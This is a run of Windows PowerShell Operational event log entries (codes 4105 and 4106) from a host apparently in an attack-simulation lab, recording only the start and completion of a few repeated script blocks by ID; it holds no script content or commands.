EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989076 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:37 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989075 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:37 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989074 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:37 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989073 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:37 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989072 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:37 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989071 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:37 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989070 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:37 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989069 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:42 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989113 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:42 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989112 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:42 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989111 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:42 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989110 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:42 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989109 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:42 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989108 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:42 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989107 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:42 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989106 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:42 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989105 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:42 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989104 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:48 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989123 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:48 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989122 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:48 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989121 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:48 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989120 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:48 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989119 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:48 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989118 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:48 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989117 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:48 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989116 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:48 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989115 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:48 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989114 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:53 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989133 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:53 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989132 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:53 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989131 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:53 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989130 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:53 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989129 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:53 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989128 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:53 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989127 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:53 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989126 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:53 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989125 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:53 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989124 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:57 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989143 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:57 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989142 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:57 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989141 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:57 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989140 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:57 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989139 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:57 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989138 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:57 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989137 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:57 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989136 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:57 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989135 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:57 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989134 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:02 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989153 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:02 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989152 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:02 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989151 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:02 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989150 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:02 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989149 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:02 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989148 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:02 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1989147 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:16:02 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1989146 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: 